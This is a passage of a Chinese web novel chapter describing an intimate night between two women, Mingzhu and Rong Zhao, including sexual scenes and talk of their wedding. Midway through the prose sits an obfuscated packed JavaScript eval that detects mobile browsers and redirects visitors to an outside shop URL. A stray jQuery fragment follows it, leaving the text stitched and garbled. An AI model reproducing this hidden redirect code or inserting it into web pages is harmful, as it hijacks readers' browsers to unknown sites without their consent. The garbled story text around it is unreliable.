酒后的容曌变了气场,身体是软的,声音是柔的,连秀眉颦蹙的样子都没有冷意,而是很好欺负的样子。
明珠本该默默感受又可以征服容曌的兴奋和满足,但她今晚有点憋不住情绪,偏要叫醒容曌。
“醒着吗?”明珠轻声问。
过了大约五六秒,容曌回应了:“嗯。”
“我是谁?”明珠追问。
又过五六秒,容曌清清楚楚地回应:“明珠。”
明珠脸上立刻出现了笑意,她抽回手转身用左手按开灯。
昏暗的房间刹那变亮,这让钻进明珠被子的容曌立即转身往自己被子里挪。
“别走别走,”明珠笑着扑上了容曌,连着被子一起把容曌抱住了,“你瞧瞧你,有需求就直接和我说嘛,我这个人来不了心照不宣,容易南辕北辙。”
容曌紧闭着眼,半张脸都埋在被子里,双耳又红又热,平时喜欢明珠叽叽喳喳,现在只想明珠安静闭嘴。
明珠掖了发到耳后,在容曌身后撑起身,低头看到容曌脸微红,在灯下格外清透,不知是酒的作用,还是她故意开灯让容曌抹不开面。
好难得,平日里那么清冷的容总,此时脸红得好生动。
“我今天都陪你见家长了,容容你睁眼看看我。”明珠仗着自己今天有功,故意撒娇说。
容曌沉默了五六秒,睁眼看明珠,正瞧见明珠双眼黑亮,脸上挂着深深的笑意,四目相对时,明珠又很快将得意的笑转为了谄媚的笑。
明珠故意说:“容容,你真好看。”
容曌立即闭上了眼睛。
想推开明珠,但明珠今天确实陪她见家长了,确实辛苦。
容曌身体就继续软着:“关灯。”
“不要,就想看着你。”
“……”
“白明珠,关灯。”
“……好吧。”
明珠用左手关了灯,回来右手伸进被子,继续撑在容曌上方和容曌闲聊,边把直勾勾的视线钉在容曌脸上:“容容,今天长辈们问我们什么时候办婚礼,你是真打算把婚礼交给我,让我去准备吗?”
“你不是,”容曌喘息微停,快速说,“正好喜欢花钱么。”
尾音微抖,容曌又停了停,才说完:“你……你办你喜欢的。”
明珠:“那你喜欢什么样的?和我说说。”
容曌现在什么都不想说,每句话都像屏息抖出来的:“随……你。”
“乱来也行?”
“嗯。”
明珠一时被鼓励到了,真就开始乱来了,容曌的脚踝紧紧地夹住了明珠的脚踝。
“你喜欢室内的婚礼,还是室外的婚礼?”
“……室外吧。”
明珠应该喜欢室外的。
明珠果然一喜:“和我一样,我也喜欢室外的,我还挺会飞无人机的,婚礼上我飞一下。”
容曌也意外自己此时竟然还能关注到明珠的需求:“要买无人机?”
明珠刚刚还真没这意思,但容曌提到了,她就有点这个意思了:“可以吗?婚礼呢,想要8K全画幅的,大概十多万,我还可以在你们公司新车试驾的时候航拍一下,都省了你们找航拍公司的费用了,我还会后期剪辑,怎么样?”
明珠越说越兴奋,语速越快手速也越快。
容曌有几秒没倒上气,半晌才绵软柔长地抖出了一声“嗯”。
“容容你也太好了!”
一回终了,容曌口渴,穿上床边的长睡衣罩衫到饮水机前接水,明珠又跟了过来。
容曌刚喝了两口水,长衫被撩起,腿一软,手中杯子重重一晃,容曌尖尖的发尾也重重地荡出了一道弯。
明珠笑了一声:“杯子别放下,你刚刚喝了多少药酒?有二两吗?”
容曌弯腰左手撑桌,回头看使坏的明珠。
微光下,明珠的眸子亮得如星辰,用动作催促她回答。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16708800|189222||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“一两多。”容曌只好回答。
容曌刚说完,不禁吸了口气,这口气让她呼吸滞住了几秒。
看回手里水杯,杯中水像是风吹树叶一样快速地抖着。
容曌唇微张地喘着,余光看到明珠在歪头看她,她腿软手也软,放下水杯,双手撑桌,压低自己的脸。
“别低头,抬起来我看看嘛。”明珠拢起容曌的长发,都拢到一边,左手虚虚地握着。
容曌已经脸颊耳根红成一片,脖颈也发了红:“有什么好看的。”
“就是好看啊,没见过你这样。”
“……闭嘴。”
明珠低笑,没什么章法,全按她自己的节奏乱来,边盯着容曌白到泛红的耳朵与侧颈看。
好想咬两口,咬容曌的耳垂,咬容曌细嫩的颈子。
但容曌肯定不愿意,她冒冒失失地咬上去,容曌肯定觉得被她冒犯了。
她和陆姿的性格确实天壤之别,难怪容曌不喜欢她这样的。
明珠越想越觉得自己和陆姿很不一样,就越变得没轻没重。
容曌身体过电般地发酥发麻,腿越来越软,腰越来越塌,塌出漂亮的弧度和线条,明珠手松了容曌的头发,发丝垂落下去,遮住了容曌的脸颊,却叫容曌的声音更重了些,发丝也荡得更快了些。
两回终了,明珠和容曌躺在床上,各盖各的被子,明珠还有点处于兴奋中。
看了会儿手机,注意到马上清明节了。
不知道容曌睡没睡,明珠看着容曌的背影,小声问:“容容,清明节我要和你一起去祭祖吗?”
容曌侧身躺着,如往常一样失眠睡不着:“你想吗?”
明珠抬腿往容曌腿上搭:“说实话,不太想,害怕在你家老祖宗面前撒谎。”
容曌把明珠的腿给轻轻地踹了回去。
和明珠相处,不能一味地顺着明珠,不然明珠会怀疑她的动机。
偶尔推推明珠,明珠才会和她相处更舒服。
果然,容曌刚踹回去,明珠就又搭了上来,还像是故意让容曌不好受似的压得更沉了。
容曌懒得搭理明珠似的不再踹回去,淡淡地说:“那你就在家吧,我找个理由和长辈们说一声。我祖籍不在本地,飞机上时间长,山上信号也可能不好,你在家里有事就找管姨或向姐。”
“知道啦,我在家会乖乖的,老老实实地等你回来。”
容曌知道,明珠这就是嘴上说说而已,才不会老老实实地等她回来,明珠在家里老实半天就浑身难受了,而明珠出门玩又总是她不主动惹事但事情总会主动惹上她。
有点像正蜜月期,容曌要出差了,明珠往前拱了拱,钻进了容曌的被子里从后面搂住容曌的腰。
容曌把明珠的手扔开,明珠的手又搂了回来,容曌浅浅地勾了下唇,没再扔开明珠的手。
明珠摸摸索索地说:“容容我睡不着,再来一回吧?累了你就能好好睡过去不再失眠了,你说呢?”